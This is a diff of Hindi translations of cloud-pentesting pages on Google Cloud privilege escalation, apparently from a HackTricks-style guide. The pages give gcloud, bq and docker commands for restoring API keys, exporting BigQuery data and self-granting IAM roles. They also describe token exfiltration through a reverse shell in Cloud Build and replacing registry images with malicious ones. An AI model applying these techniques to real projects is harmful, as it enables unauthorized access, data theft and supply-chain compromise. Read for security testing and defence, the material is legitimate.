इसलिए, एक API कुंजी के साथ आप उस कंपनी को API के आपके उपयोग के लिए भुगतान करवा सकते हैं, लेकिन आप विशेषाधिकारों को बढ़ाने में सक्षम नहीं होंगे।
इसलिए, एक API कुंजी के साथ आप उस कंपनी को आपके API के उपयोग के लिए भुगतान करवा सकते हैं, लेकिन आप विशेषाधिकारों को बढ़ाने में सक्षम नहीं होंगे।
API कुंजी के बारे में अधिक जानकारी के लिए देखें:
@@ -22,7 +22,7 @@ gcp-serviceusage-privesc.md
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
जैसा कि आप नहीं जानते होंगे कि प्रोजेक्ट में कौन स APIs सक्षम हैं या आपके द्वारा पाए गए API कुंजी पर लागू प्रतिबंध क्या हैं, यह दिलचस्प होगा कि आप उपकरण [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) चलाएँ और **जांचें कि आप API कुंजी के साथ क्या एक्सेस कर सकते हैं।**
जैसा कि आप नहीं जानते होंगे कि प्रोजेक्ट में कौन स APIs सक्षम हैं या आपके द्वारा पाए गए API कुंजी पर लागू प्रतिबंध क्या हैं, यह दिलचस्प होगा कि आप उपकरण [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) चलाएँ और **जांचें कि आप API कुंजी के साथ क्या एक्सेस कर सकते हैं।**
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
@@ -39,10 +39,10 @@ Operation [operations/akmf.p7-[...]9] complete. Result: {
"updateTime":"2022-01-26T12:23:06.378442Z"
}
```
आप [**यहां एक स्क्रिप्ट पा सकते हैं जो एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh)।
आप एक स्क्रिप्ट पा सकते हैं जो [**एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh)।
> [!CAUTION]
> ध्यान दें कि डिफ़ॉल्ट रूप से उपयोगकर्ताओं को नए प्रोजेक्ट बनाने की अनुमति होती है और उन्हें नए प्रोजेक्ट पर मालिक की भूमिका दी जाती है। इसलिए एक उपयोगकर्ता **एक प्रोजेक्ट बना सकता है और इस प्रोजेक्ट के अंदर एक API कुंजी बना सकता है**।
> ध्यान दें कि डिफ़ॉल्ट रूप से उपयोगकर्ताओं को नए प्रोजेक्ट बनाने की अनुमति होती है और उन्हें नए प्रोजेक्ट पर Owner भूमिका दी जाती है। इसलिए एक उपयोगकर्ता **एक प्रोजेक्ट बना सकता है और इस प्रोजेक्ट के अंदर एक API कुंजी बना सकता है**।
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
@@ -56,14 +56,14 @@ done
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
ये अनुमतियाँ आपको **हटाए गए api keys क सूचीबद्ध और पुनः उत्पन्न करने** की अनुमति देती हैं। **API कुंजी आउटपुट में दी जाती है** जब **undelete** किया जाता है:
ये अनुमतियाँ आपको **हटाए गए api keys क सूची बनाने और पुनः उत्पन्न करने** की अनुमति देती हैं। **API कुंजी आउटपुट में दी जाती है** जब **undelete** किया जाता है:
```bash
gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>
```
### अन्य कर्मचारियों को फ़िश करने के लिए आंतरिक OAuth एप्लिकेशन बनाएं
यह करने के लिए कैसे सीखने के लिए निम्नलिखित पृष्ठ की जांच करें, हालांकि यह क्रिया सेवा **`clientauthconfig`** से संबंधित है [दस्तावेज़ों के अनुसार](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
यह करने के लिए निम्नलिखित पृष्ठ की जांच करें, हालांकि यह क्रिया सेवा **`clientauthconfig`** से संबंधित है [दस्तावेज़ों के अनुसार](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
{{#ref}}
../../workspace-security/gws-google-platforms-phishing/
@@ -12,9 +12,9 @@ App Engine के बारे में अधिक जानकारी क
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
ये **`gcloud` cli** का उपयोग करके एक App को **deploy** करने के लिए आवश्यक अनुमतियाँ हैं। शायद **`get`** और **`list`** वाली अनुमतियाँ **टाल** ी जा सकती हैं।
ये **`gcloud` cli** का उपयोग करके एक App को **deploy** करने के लिए आवश्यक अनुमतियाँ हैं। शायद **`get`** और **`list`** वाली अनुमतियाँ **टाल** ी जा सकती हैं।
आप [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine) पर पायथन कोड के उदाहरण पा सकते हैं।
आप [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine) में python कोड उदाहरण पा सकते हैं।
डिफ़ॉल्ट रूप से, App सेवा का नाम **`default`** होगा, और एक ही नाम के साथ केवल 1 उदाहरण हो सकता है।\
इसे बदलने और एक दूसरा App बनाने के लिए, **`app.yaml`** में, रूट कुंजी के मान को कुछ इस तरह बदलें **`service: my-second-app`**
@@ -22,10 +22,10 @@ App Engine के बारे में अधिक जानकारी क
cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder
```
कम से कम 10-15 मिनट दें, अगर यह काम नहीं करता है तो **deploy another of times** कॉल करें और कुछ मिनट प्रतीक्षा करें।
कम से कम 10-15 मिनट दें, अगर यह काम नहीं करता है तो **deploy another of times** कॉल करें और कुछ मिनटों का इंतजार करें।
> [!NOTE]
> यह **सेवा खाता निर्दिष्ट करना संभव है** लेकिन डिफ़ॉल्ट रूप से, App Engine डिफ़ॉल्ट SA का उपयोग किया जाता है।
> यह **सेवा खाता निर्दिष्ट करना संभव है** लेकिन डिफ़ॉल्ट रूप से, App Engine का डिफ़ॉल्ट SA उपयोग किया जाता है।
ऐप्लिकेशन का URL कुछ इस तरह है `https://<proj-name>.oa.r.appspot.com/` या `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
@@ -62,19 +62,19 @@ gcloud app deploy
# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
यदि आपने **पहले ही एक AppEngine को समझौता कर लिया है** और आपके पास अनुमति **`appengine.applications.update`** और **actAs** है सेवा खाते का उपयोग करने के लिए, तो आप AppEngine द्वारा उपयोग किए जाने वाले सेवा खाते को निम्नलिखित के साथ संशोधित कर सकते हैं:
यदि आपने **पहले ही एक AppEngine को समझौता कर लिया है** और आपके पास अनुमति **`appengine.applications.update`** और **actAs** है सेवा खाते का उपयोग करने के लिए, तो आप AppEngine द्वारा उपयोग किए जाने वाले सेवा खाते को संशोधित कर सकते हैं:
```bash
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
इन अनुमतियों के साथ, **App Engine के फ्लेक्सिबल प्रकार के उदाहरणों में ssh के माध्यम से लॉगिन करना संभव है** (मानक नहीं)। कुछ **`list`** और **`get`** अनुमतियाँ **वास्तव में आवश्यक नहीं हो सकती हैं**
इन अनुमतियों के साथ, **App Engine के फ्लेक्सिबल प्रकार के इंस्टेंस में ssh के माध्यम से लॉगिन करना संभव है** (मानक नहीं)। कुछ **`list`** और **`get`** अनुमतियाँ **वास्तव में आवश्यक नहीं हो सकती हैं**
```bash
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
```
### `appengine.applications.update`, `appengine.operations.get`
मुझे लगता है कि यह केवल बैकग्राउंड SA को बदलता है जिसे गूगल एप्लिकेशनों को सेटअप करने के लिए उपयोग करेगा, इसलिए मुझे नहीं लगता कि आप इसका दुरुपयोग करके सेवा खाते को चुरा सकते हैं।
मुझे लगता है कि यह केवल उस बैकग्राउंड SA को बदलता है जिसे गूगल एप्लिकेशनों को सेटअप करने के लिए उपयोग करेगा, इसलिए मुझे नहीं लगता कि आप इसका दुरुपयोग करके सेवा खाते को चुरा सकते हैं।
```bash
gcloud app update --service-account=<sa_email>
```
@@ -86,7 +86,7 @@ gcloud app update --service-account=<sa_email>
जैसा कि उल्लेख किया गया है, appengine संस्करण बकेट के अंदर कुछ डेटा उत्पन्न करते हैं जिसका प्रारूप नाम है: `staging.<project-id>.appspot.com`। ध्यान दें कि इस बकेट को पूर्व-टेकओवर करना संभव नहीं है क्योंकि GCP उपयोगकर्ताओं को `appspot.com` डोमेन नाम का उपयोग करके बकेट बनाने के लिए अधिकृत नहीं किया गया है।
हालांकि, इस बकेट पर पढ़ने और लिखने की अनुमति के साथ, यह संभव है कि AppEngine संस्करण से जुड़े SA के लिए विशेषाधिकार बढ़ाने के लिए बकेट की निगरानी की जाए और जब भी कोई परिवर्तन किया जाए, कोड को जितनी जल्दी हो सके संशोधित किया जाए। इस तरह, इस कोड से बनाए गए कंटेनर में **बैकडोर कोड निष्पादित होगा**
हालांकि, इस बकेट पर पढ़ने और लिखने की अनुमति के साथ, यह संभव है कि AppEngine संस्करण से जुड़े SA के लिए विशेषाधिकार बढ़ाने के लिए बकेट की निगरानी की जाए और जब भी कोई परिवर्तन किया जाए, कोड को यथाशीघ्र संशोधित किया जाए। इस तरह, इस कोड से बनाए गए कंटेनर **बैकडोर कोड को निष्पादित करेगा**
अधिक जानकारी के लिए और एक **PoC के लिए इस पृष्ठ से संबंधित जानकारी देखें**:
@@ -96,7 +96,7 @@ gcp-storage-privesc.md
### आर्टिफैक्ट रजिस्ट्री पर लिखने की अनुमति
हालांकि App Engine आर्टिफैक्ट रजिस्ट्री के अंदर डॉकर इमेज बनाता है। यह परीक्षण किया गया था कि **भले ही आप इस सेवा के अंदर इमेज को संशोधित करें** और App Engine उदाहरण को हटा दें (ताकि एक नया तैनात किया जाए) तो **निष्पादित कोड नहीं बदलता**।\
यह संभव हो सकता है कि **बकेट के साथ रेस कंडीशन हमले को करने पर निष्पादित कोड को ओवरराइट करना संभव हो**, लेकिन इसका परीक्षण नहीं किया गया था।
हालांकि App Engine आर्टिफैक्ट रजिस्ट्री के अंदर डॉकर इमेज बनाता है। यह परीक्षण किया गया था कि **भले ही आप इस सेवा के अंदर इमेज को संशोधित करें** और App Engine उदाहरण को हटा दें (ताकि एक नया तैनात किया जाए) **निष्पादित कोड नहीं बदलता**।\
यह संभव हो सकता है कि बकेट के साथ **रेस कंडीशन हमले को करने पर निष्पादित कोड को ओवरराइट करना संभव हो**, लेकिन इसका परीक्षण नहीं किया गया था।
{{#include ../../../banners/hacktricks-training.md}}
@@ -24,13 +24,13 @@ docker tag <local-img-name>:<local-tag> <location>-docker.pkg.dev/<proj-name>/<r
docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
> [!CAUTION]
> यह जांचा गया कि **एक नया दुर्भावनापूर्ण डॉकर** इमेज उसी नाम और टैग के साथ अपलोड करना **संभव है** जो पहले से मौजूद है, इसलिए **पुराना टैग खो देगा** और अगली बार जब उस टैग के साथ इमेज **डाउनलोड की जाएगी तो दुर्भावनापूर्ण इमेज** डाउनलोड होगी।
> यह जांचा गया कि एक **नया दुर्भावनापूर्ण डॉकर** इमेज उसी नाम और टैग के साथ अपलोड करना **संभव है** जो पहले से मौजूद है, इसलिए **पुराना टैग खो देगा** और अगली बार जब उस टैग के साथ इमेज **डाउनलोड की जाएगी तो दुर्भावनापूर्ण इमेज** डाउनलोड होगी।
<details>
<summary>एक Python लाइब्रेरी अपलोड करें</summary>
<summary>Python लाइब्रेरी अपलोड करें</summary>
**अपलोड करने के लिए लाइब्रेरी बनान शुरू करें** (यदि आप रजिस्ट्री से नवीनतम संस्करण डाउनलोड कर सकते हैं तो आप इस चरण को छोड़ सकते हैं):
**अपलोड करने के लिए लाइब्रेरी बनाने से शुरू करें** (यदि आप रजिस्ट्री से नवीनतम संस्करण डाउनलोड कर सकते हैं तो आप इस चरण को छोड़ सकते हैं):
1. **अपने प्रोजेक्ट संरचना को सेट करें**:
@@ -70,7 +70,7 @@ name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# आपकी लाइब्रेरी को जिन निर्भरताओं की आवश्यकता है
# आपकी लाइब्रेरी को आवश्यक कोई भी निर्भरता
],
)
```
@@ -79,13 +79,13 @@ install_requires=[
1. **अपने पैकेज का निर्माण करें**:
- अपनी `hello_world_library` निर्देशिका की जड़ से, चलाए:
- अपनी `hello_world_library` निर्देशिका की जड़ से, चलाए:
```sh
python3 setup.py sdist bdist_wheel
```
2. **ट्वाइन के लिए प्रमाणीकरण कॉन्फ़िगर करें** (जो आपके पैकेज को अपलोड करने के लिए उपयोग किया जाता है):
2. **twine के लिए प्रमाणीकरण कॉन्फ़िगर करें** (जो आपके पैकेज को अपलोड करने के लिए उपयोग किया जाता है):
- सुनिश्चित करें कि आपके पास `twine` स्थापित है (`pip install twine`)।
- क्रेडेंशियल्स कॉन्फ़िगर करने के लिए `gcloud` का उपयोग करें:
````
@@ -100,7 +100,7 @@ rm -rf dist build hello_world.egg-info
</details>
> [!CAUTION]
> यह संभव नहीं है कि आप उसी संस्करण के साथ एक पायथन लाइब्रेरी अपलोड करें जो पहले से मौजूद है, लेकिन आप **बड़े संस्करण** अपलोड कर सकते हैं (या यदि यह काम करता है तो संस्करण के अंत में एक अतिरिक्त **`.0` जोड़ सकते हैं -हालांकि पायथन में नहीं-), या **अंतिम संस्करण को हटा सकते हैं और एक नया अपलोड कर सकते हैं** (आवश्यक `artifactregistry.versions.delete)`**:**
> यह संभव नहीं है कि आप उसी संस्करण के साथ एक python लाइब्रेरी अपलोड करें जो पहले से मौजूद है, लेकिन आप **बड़े संस्करण** अपलोड कर सकते हैं (या यदि यह काम करता है तो संस्करण के अंत में एक अतिरिक्त **`.0` जोड़ सकते हैं -हालांकि python में नहीं-), या **अंतिम संस्करण को हटा सकते हैं और एक नया अपलोड कर सकते हैं** (आवश्यक `artifactregistry.versions.delete)`**:**
>
> ```sh
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
@@ -110,7 +110,7 @@ rm -rf dist build hello_world.egg-info
इस अनुमति के साथ आप **कलाकृतियों** को **डाउनलोड** कर सकते हैं और **संवेदनशील जानकारी** और **कमजोरियों** के लिए खोज कर सकते हैं।
एक **Docker** छवि डाउनलोड करें:
एक **Docker** इमेज डाउनलोड करें:
```sh
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev
@@ -118,11 +118,11 @@ gcloud auth configure-docker <location>-docker.pkg.dev
# Dowload image
docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
```
डाउनलोड करें एक **python** लाइब्रेरी:
एक **python** पुस्तकालय डाउनलोड करें:
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
```
- यदि एक दूरस्थ और एक मानक रजिस्ट्री को एक आभासी में मिलाया जाता है और एक पैकेज दोनों में मौजूद है, तो क्या होता है? इस पृष्ठ की जांच करें:
- यदि एक दूरस्थ और एक मानक रजिस्ट्री को एक आभासी में मिलाया जाता है और एक पैकेज दोनों में मौजूद है, तो क्या होता है? इस पृष्ठ को देखें:
{{#ref}}
../gcp-persistence/gcp-artifact-registry-persistence.md
@@ -149,11 +149,11 @@ gcloud artifacts repositories delete <repo-name> --location=<location>
- **Cloud Functions**
जब एक Cloud Function बनाई जाती है, तो प्रोजेक्ट के Artifact Registry में एक नया डॉकर इमेज पुश किया जाता है। मैंने इमेज को एक नए के साथ संशोधित करने की कोशिश की, और यहां तक कि वर्तमान इमेज (और `cache` इमेज) को भी हटाने की कोशिश की, लेकिन कुछ भी नहीं बदला, क्लाउड फ़ंक्शन काम करता रहा। इसलिए, शायद यह **Race Condition हमले का दुरुपयोग करना संभव हो सकता है** जैसे कि बाल्टी के साथ डॉकर कंटेनर को बदलने के लिए, लेकिन **सिर्फ संग्रहीत इमेज को संशोधित करना क्लाउड फ़ंक्शन को समझौता करने के लिए संभव नहीं है**
जब एक Cloud Function बनाई जाती है, तो प्रोजेक्ट के Artifact Registry में एक नया डॉकर इमेज पुश किया जाता है। मैंने इमेज को एक नए के साथ संशोधित करने की कोशिश की, और यहां तक कि वर्तमान इमेज (और `cache` इमेज) को हटाने की कोशिश की, लेकिन कुछ भी नहीं बदला, क्लाउड फ़ंक्शन काम करता रहा। इसलिए, शायद **Race Condition हमले का दुरुपयोग करना संभव हो सकता है** जैसे कि बकेट के साथ डॉकर कंटेनर को बदलने के लिए, लेकिन **संग्रहीत इमेज को संशोधित करके क्लाउड फ़ंक्शन को समझौता करन संभव नहीं है**
- **App Engine**
हालांकि App Engine Artifact Registry के अंदर डॉकर इमेज बनाता है। यह परीक्षण किया गया कि **यहां तक कि यदि आप इस सेवा के अंदर इमेज को संशोधित करते हैं** और App Engine इंस्टेंस को हटाते हैं (ताकि एक नया तैनात किया जा सके) तो **कार्यक्रमित कोड नहीं बदलता**।\
यह संभव हो सकता है कि **बाल्टियों के साथ Race Condition हमले को करते हुए कार्यान्वित कोड को ओवरराइट करना संभव हो सकता है**, लेकिन इसका परीक्षण नहीं किया गया।
यह संभव हो सकता है कि **बकेट के साथ Race Condition हमले को करते हुए कार्यान्वित कोड को ओवरराइट करना संभव हो सकता है**, लेकिन इसका परीक्षण नहीं किया गया।
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,8 +1,8 @@
# GCP - Batch Privesc
# GCP - बैच प्रिवेस्क
{{#include ../../../banners/hacktricks-training.md}}
## Batch
## बैच
बुनियादी जानकारी:
@@ -12,21 +12,21 @@ BigQuery के बारे में अधिक जानकारी के
### Read Table
BigQuery तालिका के अंदर संग्रहीत जानकारी को पढ़ने से **संवेदनशील जानकारी** मिलना संभव हो सकता है। जानकारी तक पहुँचने के लिए आवश्यक अनुमति **`bigquery.tables.get`**, **`bigquery.jobs.create`** और **`bigquery.tables.getData`** है:
BigQuery तालिका के अंदर संग्रहीत जानकारी को पढ़ने से संवेदनशील जानकारी मिलना संभव हो सकता है। जानकारी तक पहुँचने के लिए आवश्यक अनुमति **`bigquery.tables.get`**, **`bigquery.jobs.create`** और **`bigquery.tables.getData`** है:
```bash
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
```
### डेटा निर्यात करें
यह डेटा तक पहुँचने का एक और तरीका है। **इसे एक क्लाउड स्टोरेज बकेट में निर्यात करें** और **जानकारी के साथ फ़ाइलें डाउनलोड करें**\
यह डेटा तक पहुँचने का एक और तरीका है। **इसे एक क्लाउड स्टोरेज बकेट में निर्यात करें** और **जानकारी के साथ फ़ाइलें डाउनलोड करें**\
इस क्रिया को करने के लिए निम्नलिखित अनुमतियों की आवश्यकता है: **`bigquery.tables.export`**, **`bigquery.jobs.create`** और **`storage.objects.create`**।
```bash
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
```
### Insert data
यह संभव है कि **कुछ विश्वसनीय डेटा** को Bigquery तालिका में **किसी अन्य स्थान में एक कमजोरियों का दुरुपयोग करने के लिए** पेश किया जाए। यह अनुमतियों **`bigquery.tables.get`**, **`bigquery.tables.updateData`** और **`bigquery.jobs.create`** के साथ आसानी से किया जा सकता है:
यह संभव है कि **कुछ विश्वसनीय डेटा** को Bigquery तालिका में **किसी अन्य स्थान में एक कमजोरियों का लाभ उठाने के लिए** पेश किया जाए। यह **`bigquery.tables.get`**, **`bigquery.tables.updateData`** और **`bigquery.jobs.create`** अनुमतियों के साथ आसानी से किया जा सकता है:
```bash
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
@@ -36,7 +36,7 @@ bq insert dataset.table /tmp/mydata.json
```
### `bigquery.datasets.setIamPolicy`
एक हमलावर इस विशेषाधिकार का दुरुपयोग करके **अपने लिए और अधिक अनुमतियाँ** एक BigQuery डेटासेट पर दे सकता है:
एक हमलावर इस विशेषाधिकार का दुरुपयोग करके **अपने लिए और अधिक अनुमतियाँ** प्राप्त कर सकता है एक BigQuery डेटासेट पर:
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
@@ -48,7 +48,7 @@ bq add-iam-policy-binding \
```
### `bigquery.datasets.update`, (`bigquery.datasets.get`)
बस यह अनुमति **आपकी पहुँच को एक BigQuery डेटासेट पर अपडेट करने की अनुमति देती है, ACLs को संशोधित करके** जो यह दर्शाती है कि कौन इसे एक्सेस कर सकता है:
यह अनुमति केवल **ACLs को संशोधित करके BigQuery डेटासेट पर आपकी पहुँच को अपडेट करने** की अनुमति देती है जो यह दर्शाती है कि कौन इसे एक्सेस कर सकता है:
```bash
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
@@ -59,7 +59,7 @@ bq head $PROJECT_ID:<dataset>.<table>
```
### `bigquery.tables.setIamPolicy`
एक हमलावर इस विशेषाधिकार का दुरुपयोग करके **अपने लिए और अधिक अनुमतियाँ** एक BigQuery तालिका पर दे सकता है:
एक हमलावर इस विशेषाधिकार का दुरुपयोग करके **अपने लिए और अधिक अनुमतियाँ** प्राप्त कर सकता है एक BigQuery तालिका पर:
```bash
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
@@ -72,11 +72,11 @@ bq add-iam-policy-binding \
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
दस्तावेज़ों के अनुसार, उल्लेखित अनुमतियों के साथ **एक पंक्ति नीति को अपडेट करना संभव है।**\
हालांकि, **cli `bq` का उपयोग करते समय** आपको कुछ और चाहिए: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
हालांकि, **cli `bq` का उपयोग करते समय** आपको कुछ और चाहिए: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
```
यह संभव है कि पंक्ति नीतियों की गणना के आउटपुट में फ़िल्टर आईडी को पाया जा सके। उदाहरण:
यह संभव है कि पंक्ति नीतियों की गणना के आउटपुट में फ़िल्टर आईडी पाया जा सके। उदाहरण:
```bash
bq ls --row_access_policies <proj>:<dataset>.<table>
@@ -12,22 +12,22 @@ Cloud Build के बारे में अधिक जानकारी क
### `cloudbuild.builds.create`
इस अनुमति के साथ आप **एक क्लाउड बिल्ड सबमिट कर सकते हैं**। cloudbuild मशीन में **डिफ़ॉल्ट रूप से cloudbuild सेवा खात का एक टोकन** होगा: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`। हालाँकि, आप cloudbuild कॉन्फ़िगरेशन में **परियोजना के भीतर किसी भी सेवा खाते को निर्दिष्ट कर सकते हैं**।\
इस अनुमति के साथ आप **एक क्लाउड बिल्ड सबमिट कर सकते हैं**। cloudbuild मशीन में **डिफ़ॉल्ट रूप से एक cloudbuild सेवा खात का टोकन** होगा: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`। हालाँकि, आप cloudbuild कॉन्फ़िगरेशन में **परियोजना के भीतर किसी भी सेवा खाते** को **संकेतित** कर सकते हैं।\
इसलिए, आप बस मशीन को अपने सर्वर पर टोकन को एक्सफिल्ट्रेट करने के लिए कह सकते हैं या **इसके अंदर एक रिवर्स शेल प्राप्त कर सकते हैं और खुद को टोकन प्राप्त कर सकते हैं** (टोकन वाला फ़ाइल बदल सकता है)।
आप मूल एक्सप्लॉइट स्क्रिप्ट [**यहाँ GitHub पर**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) पा सकते हैं (लेकिन जिस स्थान से यह टोकन ले रहा है वह मेरे लिए काम नहीं किया)। इसलिए, [**यहाँ एक स्क्रिप्ट देखें जो एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) और cloudbuild मशीन के अंदर एक रिवर्स शेल प्राप्त करने के लिए एक पायथन स्क्रिप्ट और [**इसे यहाँ चुराने के लिए**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (कोड में आप देख सकते हैं कि अन्य सेवा खातों को कैसे निर्दिष्ट करन है)**।**
आप मूल एक्सप्लॉइट स्क्रिप्ट [**यहाँ GitHub पर**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) पा सकते हैं (लेकिन जिस स्थान से यह टोकन ले रहा था वह मेरे लिए काम नहीं किया)। इसलिए, [**यहाँ एक स्क्रिप्ट देखें जो एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) और क्लाउडबिल्ड मशीन के अंदर एक रिवर्स शेल प्राप्त करने के लिए एक पायथन स्क्रिप्ट और [**यहाँ इसे चुराने के लिए**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (कोड में आप अन्य सेवा खातों को निर्दिष्ट करने का तरीका पा सकते है)**।**
अधिक गहन व्याख्या के लिए, देखें [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
### `cloudbuild.builds.update`
**संभावित रूप से** इस अनुमति के साथ आप **एक क्लाउड बिल्ड को अपडेट कर सकते हैं और बस सेवा खाता टोकन चुरा सकते हैं** जैसे कि पिछले अनुमति के साथ किया गया था (लेकिन दुर्भाग्यवश इस लेखन के समय मुझे उस API को कॉल करने का कोई तरीका नहीं मिला)।
**संभावित रूप से** इस अनुमति के साथ आप **एक क्लाउड बिल्ड को अपडेट कर सकते हैं और बस सेवा खाता टोकन चुरा सकते हैं** जैसे कि पिछले अनुमति के साथ किया गया था (लेकिन दुर्भाग्यवश इस लेखन के समय मैं उस API को कॉल करने का कोई तरीका नहीं ढूंढ सका)।
TODO
### `cloudbuild.repositories.accessReadToken`
इस अनुमति के साथ उपयोगकर्ता **पुस्तकालय तक पहुँचने के लिए उपयोग किए जाने वाले पढ़ने के एक्सेस टोकन** को प्राप्त कर सकता है:
इस अनुमति के साथ उपयोगकर्ता **पढ़ने के लिए एक्सेस टोकन** प्राप्त कर सकता है जिसका उपयोग रिपॉजिटरी तक पहुँचने के लिए किया जाता है:
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
@@ -22,7 +22,7 @@ Cloud Functions के बारे में अधिक जानकारी
इन विशेषाधिकारों के साथ एक हमलावर **एक Function के कोड को संशोधित कर सकता है और यहां तक कि संलग्न सेवा खाते को भी संशोधित कर सकता है** जिसका लक्ष्य टोकन को एक्सफिल्ट्रेट करना है।
> [!CAUTION]
> Cloud functions को तैनात करने के लिए आपको डिफ़ॉल्ट कंप्यूट सेवा खाते पर या उस सेवा खाते पर actAs अनुमतियों की भी आवश्यकता होगी जिसका उपयोग छवि बनाने के लिए किया जाता है।
> Cloud functions को तैनात करने के लिए आपको डिफ़ॉल्ट कंप्यूट सेवा खाते या उस सेवा खाते पर actAs अनुमतियों की भी आवश्यकता होगी जिसका उपयोग छवि बनाने के लिए किया जाता है।
कुछ अतिरिक्त विशेषाधिकार जैसे कि संस्करण 1 cloudfunctions के लिए `.call` अनुमति या फंक्शन को ट्रिगर करने के लिए `role/run.invoker` भूमिका की आवश्यकता हो सकती है।
```bash
@@ -61,7 +61,7 @@ gcloud functions call <cloudfunction-name>
### `cloudfunctions.functions.sourceCodeSet`
इस अनुमति के साथ आप एक **साइन किया हुआ URL प्राप्त कर सकते हैं ताकि एक फ़ाइल को एक फ़ंक्शन बकेट में अपलोड किया जा सके (लेकिन फ़ंक्शन का कोड नहीं बदलेगा, आपको इसे अभी भी अपडेट करना होगा)**
इस अनुमति के साथ आप एक **साइन किया हुआ URL प्राप्त कर सकते हैं जिससे आप एक फ़ाइल को एक फ़ंक्शन बकेट में अपलोड क सके (लेकिन फ़ंक्शन का कोड नहीं बदलेगा, आपको इसे अभी भी अपडेट करना होगा)**
```bash
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
@@ -69,7 +69,7 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
-H "Content-Type: application/json" \
-d '{}'
